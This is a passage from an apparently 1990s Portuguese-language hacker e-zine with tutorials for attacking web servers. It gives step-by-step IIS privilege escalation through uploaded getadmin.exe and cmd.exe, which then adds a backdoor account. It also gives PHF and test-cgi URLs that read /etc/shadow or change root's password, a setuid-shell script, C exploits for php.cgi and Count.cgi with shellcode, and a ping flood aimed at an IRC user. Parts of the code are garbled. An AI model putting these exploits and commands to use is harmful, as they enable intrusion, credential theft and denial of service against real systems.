servidor. Depois de viajar pelo FTP, ele percebe q o comando "PUT" eh permitido neste computador, entao voce procura o diretorio "cgi-bin", um otimo lugar para se executar coisas via www. Entao voce muda o tipo de conexao para binaria (binary), e depois tente "put cmd.exe", caso voce tenha sorte voce vera algo assim: 200 PORT command successfull 150 Opening binary mode data connection for CMD.EXE 226 Transfer complete 208144 bytes sent in 0.06 seconds (3469.07 Kbytes/sec) Depois ele tbm coloca os arquivos "getadmin.exe" e "gasys.dll" no cgi-bin, entao ele sai da conexao FTP do servidor e inicializa o seu brownser. Entao ele vai para o endereco: www.xploiter.com.br/cgi-bin/getadmin.exe?IUSR_SATURN Depois de um tempo ira aparecer no brownser: CGI ERROR The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Congratulations , now account IUSR_SATURN have administrator rights! Pronto, agora a account IUSR_SATURN estah em status admin, quer mais moleza, ou oq? Para criar uma conta faca o seguinte: http://www.xploiter.com.br/cgi-bin/comd.exe?c%20c:\winnt\system32\net.exe% 20user%20xploiter%20x-p9%20/add PS: nao pule a linha, eh tudo um comando soh... Entao voce acabou de crair uma conta chamada xploiter com uma senha chama x-p9. Pronto, os resultados: Conseguiu admin no sistema criou umas contas fantasma e descobriu q a microsoft soh faz sistema de merda... Os arquivos getadmin.exe , gasys.dll e cmd.exe estao em: http://www.phone9.org/html/labs/tools/nthck.zip [1] e em qualquer um dos nossos mirros... (c) 1998, X-ploiter, inc. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 14 - Sekurity tools!!! ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by the crew ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Em todas as edicoes da Phone9 a partir desta, nos tentaremos a medida do possivel, trazer novas ferramentas de seguranca para o seu sistema, assim nos poderemos manter os aR00tos um pouco por dentro da profissao que eles executam... 1) k0mandos seguros para linux: -------- ------- ---- ------ a.) Vendo as portas abertas do seu sistema - by bloodroot Na cheu digite: /usr/local/bin/strobe -V -d -b 1 -e 12000 -n 32 -t4 localhost b.) Achando contas com .rhosts - by bloodroot Tambem na cheu digite: find / -name .rhosts -exec ls -al {} \; c.) Catando usuarios sem password - by bi0tek Modo 1.) cut -f1,2,3 -d: /etc/shadow | grep :: | cut -f1 -d: Modo 2.) grep '::' /etc/passwd d.) Vendo o log dos 10 ultimos reboots - by bi0tek last -100 | grep reboot | head -10 Obs: Mude o 'head -10' para o numero de reboots logados que voce quer ver. 2.) Procurando por UIDs:0 e GIDs:0 - by bi0h4zard #!/bin/sh # Smack my bitch UP!!! # if [ `grep -c '^.*:.*:0:' /etc/passwd 2>/dev/null` -gt 1 ]; then echo "Opa!, o root agora tem irmaos !!!" grep '^.*:.*:0:' /etc/passwd | grep -v "^root:" exit 1 fi exit 0 3.) Fechando terminais impedindo conexao de estranhos - Nelson Murilo #!/bin/sh # Bloqueia o terminal ate que seja informada # a mesma senha que o tornou bloqueado # # PATH=/bin:/usr/bin; export PATH stty -echo cad= while [ "$cad" = "" ]; do /bin/echo "Senha: \c" read cad < /dev/tty done trap "" 2 3 15 cat <> $cmd echo "echo Usuario que executou: `whoami` >> log" >> $cmd if [whoami != root] then echo "" echo "Possivelmente possa ter ocorrido uma falha de seguranca" >> $log echo "Verifique poor bugs no seu sistema...." >> $log echo "" fi echo "echo Data de execucao: `date` >> $log" >> $cmd echo "echo Sistema Operacional: `uname -sr` >> $log" >> $cmd echo "echo Hostname: `last | grep $whoami` >> $log" >> $cmd echo "echo >> $log" >> $cmd echo "$safedir" >> $cmd 5.) Guest phucker - by Primal Phear Primeiro, edite o /etc/passwd e coloque uma linha assim: guest::69:69:guest user:/home/guest/:/bin/guestshell E o guestshell e' assim: #!/bin/sh # Simples fuckin' around telnet localhost 19 E vamos saudar o hackerzao... 6.) ls seguro - by bloodroot coloque este ls no lugar do /bin/ls e coloque o verdadeiro ls em outro lugar. #!/bin/sh lsnew= # novo lugar do ls mv /bin/ls $lsnew echo "if [whoami != root]" >> /bin/sh echo "then" >> /bin/sh echo " $lsnew -a" >> /bin/sh echo "else" >> /bin/sh echo " $lsnew" >> /bin/sh echo "fi" >> /bin/sh Agora qualquer um cujo o whoami seja igual a root, automaticamente ira executar o ls em modo ls -a, vendo todo o conteudo do diretorio, inclusive arquivos .algumacoisa, em geral todos os arquivos de um diretorio qualquer do qual o root de um ls, e quanto aos outros, bom um simples ls ta' otimo... ;) O que tambem impede a execucao do ls backdoor. Isto conclui as ferramentas de seguranca desta edicao, acredito que o pessoal vai ter muito o que testar nas sua LinuxOS por ai, entao vou indo embora. Hugs() Sekurity Tools!!! foi criado por todos os membros da Phone9. (c) reg - 2001 productions, .[P9]. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 15 - Exploitacao por meio de CGIs - Parte I ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° The CGI guide to Exploitation by the blood root (c) The Misery Machine 1.) Introducao 2.) PHF bug 3.) PHP bug 4.) Sanitize protection 5.) Test-cgi 6.) count.cgi exploit 7.) Server gateway cgi atack 8.) Parte II 1.) Introducao O Common Gateway Interface ( cgi ), nada mais e' do que pequenos programas compilados em varias linguagens existentes no mundo da programacao, podendo ser aplicado sobre varios tipos de gateway e proxys na rede, mas o seu uso mais comum e' em paginas da web ( http ), as linguagens mais comuns utilizadas para se programar em cgi's e' perl, ams existem outras linguagens: Perl, C , Cshell , VBscript, Java. Embora o java , ainda nao seja uma linguagem para cgi's alguns modulos podem ser feitos por meio de java. CGI's sao usados para facilitar a comunicacao user x server, sempre deixando uma barreira de chmod's , logs e avisos para o admin, mas nem sempre foi assim ( na verdade, eu acho q nunca foi assim ), o caso e' que o cgi, e' um programa que e' rodado no console ( shell ) do sistema, sobre o user ou de anonymous, ou de um usuario cgi, que so devera ter acesso ate' o /cgi-bin, seja como for, ter acesso a uma shell, por meio de um brownser, concerteza deve ter algum provei- to para nos, entao a pouco mais de uns 4 ou 5 anos, foi descoberto uma das primeiras vulnerabilidades em um cgi. O nome do cgi era phf.cgi, ou phf.pl ( tanto faz ), o que colocou em prova a teoria sobre a seguranca dos servidores. Veja o caso. 2.) PHF bug... Em muitos servidores apache, no diretorio cgi-bin, ainda existe um programa chamada PHF, que foi um dos primeiros grandes bugs a serem descobertos no apache, que pode ser exploitado por meio de browser, lynx,netscape,NCSA,hacknet,Opera entre outros, o problema todo esta em sua configuracao de propriedades assim chmod +x /home/http/cgi-bin/ phf.cgi, tornando-o um arquivo executavel, e dependendo de quem colocou esta configuracao, voce pode rodar o arquivo como sendo root, ou ate' o user que roda o servidor ( http ), otimo geralmente scripts\ como PHF, rodando como user nobody, fazedo com que cada processo seja rodado por um usuario que nao tenha tanta importancia no sistema, algo como NINGUEM!!! ;) bom, agora que voce ja' sabe o inicio, vamos rodar o script PHF, para ver se ele e' ou nao exploitavel ( checando as IDs do dono do processo PHF no sistema ) http://jackass.com.br/cgi-bin/phf/?Qalias=x%0aid Como resultado, ira aparecer algo assim: QUERY RESULTS /usr/local/bin/ph -m alias=x id uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) Sendo , assim nos podemos ser o user nobody do sistema, sem problemas, rodando os processos do qual o user nobody tem acesso. Agora a parte nasty, vem quando voce comeca a colocar comandos mais perigoso para o sistema: http://lamer.org/cgi-bin/phf/?Qalias=x%0a/bin/cat%20/etc/passwd << Ira pegar o arquivo de passwords http://lamer.org/cgi-bin/phf/?Qalias=x%0a%0a/bin/cat%20/etc/shadow << Caso, o passwd esteja em shadow, a opcao seguinte e' esta http://lamer.org/cgi-bin/phf/?Qalias=x%0apasswd%20root << Mudando a senha do root? http://altavista.digital.com/cgi-bin/query?pg=aq&what=web&fmt=. &q=link%3A%22%2Fcgi-bin%2Fphf%22&r=&d0=&d1= << Utiliza o alta-vosta para achar servidores com o phf nele!!! Use a imaginacao, que voce sempre vai poder tirar proveito deste buggy. Algumas tecnicas para saloes UNIXseX ------------------------------------ 1- Armazem de bugs: Okay, sendo um usuario exemplar da sua escola, o operador bastardo vindo do inferno , que por sinal opera a rede de computadores UNIXseX da escola, resolve te dar uma conta com shell no sistema, para voce compilar aqueles seus programas escolares que voce use depois de ir na bugtraq. Entao, ele te da um otimo diretorio ( como sempre ) /home/sucker/ Voce como um otimo aluno, espera ate' chegar ao anoitecer e bum, se loga no sistema: Welcome to UNIXseX 2.0.0 << Kernel antiga ;) login:sucker password: No mail sucker:/home/sucker/$ Pega este lindo codigo em CS-hell que voce, um pouco mais abaixo ( agora voce deve apertar page down no teclado , perto do delete, para ver o codigo ), e agora o codigo: ------ PHlamming ------ #!/bin/csh #Sucker d00d? thanx to JackaSS #chame-o de sucking echo "Oi, tudo bem?" echo "I'm a JackASS program" touch /tmp/root echo "Lembre-se, isto nao deve machucar muito" /bin/cp /bin/sh /tmp/root echo "Faca AHHHHHHHHHHHHHHH!!!!!!" chmod 4755 /tmp/root echo "Coitado, vai ficar de cama por uns dias" /tmp/root echo "lervante ele, para ele aROOTar direito!" passwd sucker echo "Pronto, acho que ele vai ficar bem!! ;p" echo "!>DoNEpw_dir,pd,temp); } } #endif - --- 340,351 ---- pd = getenv(PHP_PUB_DIRNAME_ENV); #endif if (pd == 0) pd = PHP_PUB_DIRNAME; ! strcpy (path,pw->pw_dir); ! strcat (path,"/"); ! strncat (path, pd, ! sizeof(path) - strlen(path) - 1); ! strncat (path, temp, ! sizeof (path) - strlen(path) - 1); } } #endif *************** *** 343,352 **** o=*s; *s='\0'; } ! strcpy(user,path+2); if(s) { *s=o; ! strcpy(temp,s); } else temp[0]='\0'; #if HAVE_PWD_H if(*user) { - --- 355,366 ---- o=*s; *s='\0'; } ! strncpy(user,path+2, sizeof (user)); ! user[sizeof(user) - 1] = '\0'; if(s) { *s=o; ! strncpy(temp,s,sizeof(temp)); ! temp[sizeof(temp) - 1] = '\0'; } else temp[0]='\0'; #if HAVE_PWD_H if(*user) { *************** *** 357,363 **** pd = getenv(PHP_PUB_DIRNAME_ENV); #endif if (pd == 0) pd = PHP_PUB_DIRNAME; ! sprintf(path,"%s/%s%s",pw->pw_dir,pd,temp); } } #endif } - --- 371,383 ---- pd = getenv(PHP_PUB_DIRNAME_ENV); #endif if (pd == 0) pd = PHP_PUB_DIRNAME; ! strcpy (path,pw->pw_dir); ! strcat (path,"/"); ! strncat (path, pd, ! sizeof(path) - strlen(path) - 1); ! strncat (path, temp, ! sizeof (path) - strlen(path) - 1); ! } } #endif } *************** *** 370,376 **** } } if(*fn) { ! sprintf(temp,"%s/%s",path,fn); #ifndef WINDOWS st = stat(temp,&gsb); #else - --- 390,399 ---- } } if(*fn) { ! strncpy (temp, path, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strcat (temp,"/"); ! strncat(temp,fn,sizeof(temp) - strlen(temp) - 1); #ifndef WINDOWS st = stat(temp,&gsb); #else *************** *** 382,394 **** st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! sprintf(temp,"%s/%s/index.html",path,fn); st = stat(temp,&gsb); if(st==-1) { ! sprintf(temp,"%s/%s/index.phtml",path,fn); st = stat(temp,&gsb); } ! sprintf(path,"%s/%s",path,fn); } else if(st==-1) { l = strlen(temp); if(strlen(fn)>4) { - --- 405,431 ---- st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! strncpy (temp,path,sizeof(temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strcat (temp, "/"); ! strncat (temp,fn, ! sizeof(temp) - strlen (temp) - 1); ! strncat (temp,"/index.html", ! sizeof(temp) - strlen (temp) - 1); st = stat(temp,&gsb); if(st==-1) { ! strncpy (temp,path,sizeof(temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strcat (temp, "/"); ! strncat (temp,fn, ! sizeof(temp) - strlen (temp) - 1); ! strncat (temp,"/index.html", ! sizeof(temp) - strlen (temp) - 1); st = stat(temp,&gsb); } ! strcat (path,"/"); ! strncat (path, fn, ! sizeof(path) - strlen(path) - 1); } else if(st==-1) { l = strlen(temp); if(strlen(fn)>4) { *************** *** 410,422 **** st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! sprintf(temp,"%s/index.html",path); st = stat(temp,&gsb); if(st==-1) { ! sprintf(temp,"%s/index.phtml",path); st = stat(temp,&gsb); } ! } else strcpy(temp,path); } } else { #ifndef WINDOWS - --- 447,468 ---- st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! strncpy (temp, path, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strncat (temp, "/index.html", ! sizeof (temp) - strlen (temp) - 1); st = stat(temp,&gsb); if(st==-1) { ! strncpy (temp, path, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strncat (temp, "/index.phtml", ! sizeof (temp) - strlen (temp) - 1); st = stat(temp,&gsb); } ! } else { ! strncpy(temp,path, sizeof (temp)); ! temp[sizeof (temp) - 1] = '\0'; ! } } } else { #ifndef WINDOWS *************** *** 430,442 **** st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! sprintf(temp,"%s/index.html",fn); st = stat(temp,&gsb); if(st==-1) { ! sprintf(temp,"%s/index.phtml",fn); st = stat(temp,&gsb); } ! } else strcpy(temp,fn); } *ret=st; return(temp); - --- 476,498 ---- st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! strncpy (temp, fn, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strncat (temp, "/index.html", ! sizeof (temp) - strlen (temp) - 1); st = stat(temp,&gsb); if(st==-1) { ! strncpy (temp, fn, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strncat (temp, "/index.phtml", ! sizeof (temp) - strlen (temp) - 1); ! st = stat(temp,&gsb); } ! } else { ! strncpy(temp,fn,sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! } } *ret=st; return(temp); Para exploitar o bug, apenas digite este endereco no seu browser: ... http://www.phuck.org/cgi-bin/php.cgi? ... E ainda vai um programas, otimos que o pessoal da CodeZero ( confidence remains high ), apresentou em umas das edicoes da zine: ----[ begin second fuck1n'31337 c0d3]---- /* p1 (peewun@heterosexual.com) This code retrieves a file using php.cgi on a remote system. This program is for educational purposes only. Use it on p1.com. */ #include #include #include #include #include #include #include #include FILE *server; int sock; void do_connect(char *host, char *toget); void do_connect(char *host, char *toget) { char inbuf[1024]; struct sockaddr_in sin; struct hostent *hp; char *tmpbuf; hp = gethostbyname(host); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(80); sock = socket(AF_INET, SOCK_STREAM, 0); if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) { printf("Made connection to %s.\n\n", host); } else { printf("Failed to connect to %s.\n\n",host); exit(0); } server=fdopen(sock, "a+"); fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget); printf("Output from php.cgi request:\n\n"); while(1){ if (fgets(inbuf, 1024, server) == NULL) break; printf(inbuf); } } main(int argc,char **argv) { printf("\nThis program is a remote exploit system using php.cgi.\n"); printf("Author: p1 - peewun@heterosexual.com\n"); if (argc < 3) { printf("Usage: %s \n",argv[0]); printf(" Ex: %s www.p1.com /etc/passwd\n",argv[0]); } else { char *buffer; (char *)"exit"; do_connect(argv[1],argv[2]); exit(1); } } ---[ end of fuck1n' 31337 sh17 ]---- enjoÝ 4.) User-id cgi bug Uma das falhas mais recentes em servidores que rodam seus cgi's e' a execucao de comandos arbitrarios nas maquinas sobre a uid/gid do dono do processo do servidor ou do cgi. Exemplos sao php.cgi, phf.cgi, query.cgi entre outros. A maioria destes bug's sao feitos devido a as funcoes QUERY_STRINGS, do qual armazenam as strings digitadas por qualquer usuario, sendo assim comandos como %0a/bin/cat%20/etc/passwd e' possivel de ocorrer em varios e varios casos de ataques por meio de cgi's. O escriotr de cgi's conciente deste tipo de ataques, resolve retirar os meta-characteres do seu script. Levando a resultados assim: #!/usr/local/bin/perl $user_data = $ENV{'QUERY_STRING'}; # Armazena data print "$user_data\n"; $user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g; # Tira caracteres print "$user_data\n"; exit(0); Com este codigo, o programador estipula que caracteres nao devem ser utilizados naquele cgi. E' claro que o programador nao coloca todos os caracteres que nao podem ser usados no cgi, entao ficam alguns caracteres de fora. mas os principais estao infelismente estipulados, por exemplo o simples fato de colocar um / no cgi ja' devera ser impedido pelo servidor. sUx. CERT (c) - 1998. 5.) Test-cgi Este e' bem conhecido, utilizando ele , voce pode cair dentro do /root do servidor sem nenhum problema, apenas executando esta linha de comando: ... - http://www.phuck.org/cgi-bin/test-cgi?/* ... O problema mais uma vez esta na nao marcac'ao de caracteres nao permitidos pelo cgi. A funcao QUERY_STRING, abaixo: echo QUERY_STRING = $QUERY_STRING Nao seleciona, quais caracteres nao podem ser usados no cgi, permitindo que as pessoas utilizem caracteres como *, que como voces devem ( deveriam ), saber /* leva ao diretorio do root, sem problemas... ou entao /~ em alguns linux. Concertar este bug, e' bem facil , utilize o sistema de sanitize acima, ou delete o test-cgi, para que voce precisa dele, afinal? Para saber se' o codigo e' vulneravel ou nao, apenas procure para funcao QUERY_STRING do codigo do script (pico /var/lib/httpd/cgi-bin/test.cgi) procure por uma linha assim: ... QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime ... Ou ... QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var ... Todas estas linahs sao extremamente prejudiciais para o seu servidor, por tanto para que deixar um .cgi com tantos bugs rodando no seu servidor, se o seu proposito de existencia e' meramente inutil ;) ??? 6.) Count.cgi exploit O problema todo , mais uma vez ocorre no buffer overflow do nosso grande e querido amigo QUERY_STRING, voce consegue a shell do dono do processo ( geralmente, daemon,httpd,nobody ), a protecao contra este exploit e' bem simples e' esta resumida no codigo abaixo: > void wrapit(char *envvar,int esize) > { > char *tmp,*tmp2; > tmp=malloc(esize+1); > if(tmp==NULL) > { > Debug2("Can't allocate wrapper memory buffer.",0,0); > exit(1); > } > strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1); > tmp[esize]='\0'; > setenv(envvar,tmp,1); > } > 89c103 < char --- > char 185a200,207 > /* > * Evita os problemas no buffer,nao diexando que qquer string seja dada > * como inpout no cgi. > */ > > wrapit("QUERY_STRING",600); > wrapit("HTTP_REFERER",600); > wrapit("HTTP_USER_AGENT",600); > E para exploitar esta belezinha, apenas compile e rode o programa abaixo: ------------cutcut-------8<----------------------------------------------- /* Count.cgi (wwwcount) linux test exploit (c) 05/1997 by plaguez - dube0866@eurobretagne.fr */ #include #include char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d" "\x5e\x18\x88\x46\x2c\x88\x46\x30" "\x88\x46\x39\x88\x46\x4b\x8d\x56" "\x20\x89\x16\x8d\x56\x2d\x89\x56" "\x04\x8d\x56\x31\x89\x56\x08\x8d" "\x56\x3a\x89\x56\x0c\x8d\x56\x10" "\x89\x46\x10\xb0\x0b\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xbf" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff" "/usr/X11R6/bin/xterm0-ut0-display0" "127.000.000.001:00" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff"; jmp 60 popl %esi xorl %eax,%eax # efface eax movl %esi,%ecx # recupere l'adresse du buffer leal 0x18(%esi),%ebx # recupere l'adresse des chaines movb %al,0x2c(%esi) # cree les chaines azt movb %al,0x30(%esi) # movb %al,0x39(%esi) movb %al,0x4b(%esi) leal 0x20(%esi),%edx # cree le char** movl %edx,(%esi) leal 0x2d(%esi),%edx movl %edx,0x4(%esi) leal 0x31(%esi),%edx movl %edx,0x8(%esi) leal 0x3a(%esi),%edx movl %edx,0xc(%esi) leal 0x10(%esi),%edx movl %eax,0x10(%esi) movb $0xb,%al int $0x80 # passe en mode kernel xorl %ebx,%ebx # termine proprement (exit()) movl %ebx,%eax # si jamais le execve() foire. inc %eax # int $0x80 # call -65 .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .ascii \"/usr/X11R6/bin/xterm0\" # 44 .ascii \"-ut0\" # 48 .ascii \"-display0\" # 57 au ; .ascii \"127.000.000.001:00\" # 75 (total des chaines) .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff ... */ char qs[7000]; char chaine[]="user=a"; unsigned long getesp() { // asm("movl %esp,%eax"); return 0xbfffee38; } void main(int argc, char **argv) { int compt; long stack; stack=getesp(); if(argc>1) stack+=atoi(argv[1]); for(compt=0;compt<4104;compt+=4) { qs[compt+0] = stack & 0x000000ff; qs[compt+1] = (stack & 0x0000ff00) >> 8; qs[compt+2] = (stack & 0x00ff0000) >> 16; qs[compt+3] = (stack & 0xff000000) >> 24; } strcpy(qs,chaine); qs[strlen(chaine)]=0x90; qs[4104]= stack&0x000000ff; qs[4105]=(stack&0x0000ff00)>>8; qs[4106]=(stack&0x00ff0000)>>16; qs[4107]=(stack&0xff000000)>>24; qs[4108]= stack&0x000000ff; qs[4109]=(stack&0x0000ff00)>>8; qs[4110]=(stack&0x00ff0000)>>16; qs[4111]=(stack&0xff000000)>>24; qs[4112]= stack&0x000000ff; qs[4113]=(stack&0x0000ff00)>>8; qs[4114]=(stack&0x00ff0000)>>16; qs[4115]=(stack&0xff000000)>>24; qs[4116]= stack&0x000000ff; qs[4117]=(stack&0x0000ff00)>>8; qs[4118]=(stack&0x00ff0000)>>16; qs[4119]=(stack&0xff000000)>>24; qs[4120]= stack&0x000000ff; qs[4121]=(stack&0x0000ff00)>>8; qs[4122]=(stack&0x00ff0000)>>16; qs[4123]=(stack&0xff000000)>>24; qs[4124]= stack&0x000000ff; qs[4125]=(stack&0x0000ff00)>>8; qs[4126]=(stack&0x00ff0000)>>16; qs[4127]=(stack&0xff000000)>>24; qs[4128]= stack&0x000000ff; qs[4129]=(stack&0x0000ff00)>>8; qs[4130]=(stack&0x00ff0000)>>16; qs[4131]=(stack&0xff000000)>>24; strcpy((char*)&qs[4132],shell); /* Choose what to do here */ printf("GET /cgi-bin/Count.cgi?%s\n\n",qs); /*fprintf(stderr,"\n\nadresse: %x0x\n",stack); printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack); setenv("QUERY_STRING",qs,1); system("/usr/local/etc/httpd/cgi-bin/Count.cgi"); system("/bin/sh");*/ } -------------------------------------8<------------------------- 7.) Server gateway cgi atack Okay, entao a popularidade da seguranca dos japoneses, esta aumentando cada vez mais... Entao voce entra em um servidor japones!!! /server irc.unix-fu.jp , e la' voce encontra uma bando de olhinhos puxados grudados na tela!!! Voce chega e zoa um deles do cara #srekcah este fala, Go fuck yo self, dumbass Sashimi, mucutu , ariri, samana, tumanague... O cara fica , puto entao voce sabendo que a maioria dos servidores japoneses, utilizam o /cgi-bin/phf, entao vamos a festa!!! Provavelmente o jaones ta' te xingando de todos os nomes como kotobuki, yacksoba entre outros, voce puta , da' um whois nele!!! /whois japaneshacker E recebe um response assim: *** japaneshacker is ppp125.unix-fu.jp *** japaneshacker is on #srekcah *** japaneshacker is using irc.unix-fu.jp *** japaneshacker is away: Say honara, harigato!!! *** Notice that i have got some real small eyes. Agora, voce pega o seu browser ARENA de sumo!!! e coloca ele para ir para o seguinte endereco: --- y0:/# arena http://www.unix-fu.jp/cgi-bin/phf?Qname=a%0aping%20-c%201000%20 -s%205000%20ppp125.unix-fu.jp O que voce acabou de fazer? Pense em uma shell que voce digitou isto: root:/#ping -c 1000 -s 5000 ppp125.unix-fu.jp A vitima ira receber 1000 pacotes cada um com 5008 bytes, e se este esta de wind0ws!!! Rodou feio... 8.) Parte II Na SEGUNDA PARTE, EU IREI DESCREVER ALGUNS METODOS DE SEGURANCA E OUTROS METODOS DE COMO CONSTRUIR UM CGI, BUGADO O SUFICIENTE PARA ROOTAR O /BIN/BAISHO DO SISTEMA!!!! CHAU1! ;) The bloodroot - blood@phone9.0rg Exploitacao por meio de CGI - Parte I reg - (c) 1998, productions ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 16 - Apache Web Server bugs ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° The Phone9 Communications Systems, inc. reg - (c) 1998, productions [Disque 9 para morer?] APACHE WEB SERVER hack... by the blood root O servidor apache, e' um dos mais populares servidores de http, do mundo , rodando em servidores unix like, quase todos estes servidores sao powered by apache, inc. Agora, imagina que k0ol voce invadido metade dos servidores do mundo que rodam apache, por um simples bug? Esta tecnica e' uma mesclagem varias outras tecnicas que eu conheci por ai, para que ela funcione sao necessarios, alguns requisitos: ... O servidor deve rodar como user nobody ( a maioria roda ) UID = 65535 | GID = 65535 O servidor deve ser apache server ( nao importa a versao dele ) Voce precisa ter uma conta no sistema!!! ( Metade das pessoas que leem isto, ja' desistem !!! Bunch 0f l0oSerz ) ... A maioria das pessoas familiarizadas com unix, sabem que a maioria dos servidores rodam como user nobody, para que a execucao de bugs via scripts, seja delimitada a somente aos acessos fracos no sistema do user nobody. Como varias aplicacoes rodam sobre a uid de 65535 ( nobody ) como o apache, wn, NCSA entre outros, e' possivel se tornar root, por meio de um browser, em um servidor apache, onde foram feitos os testes, mas eu 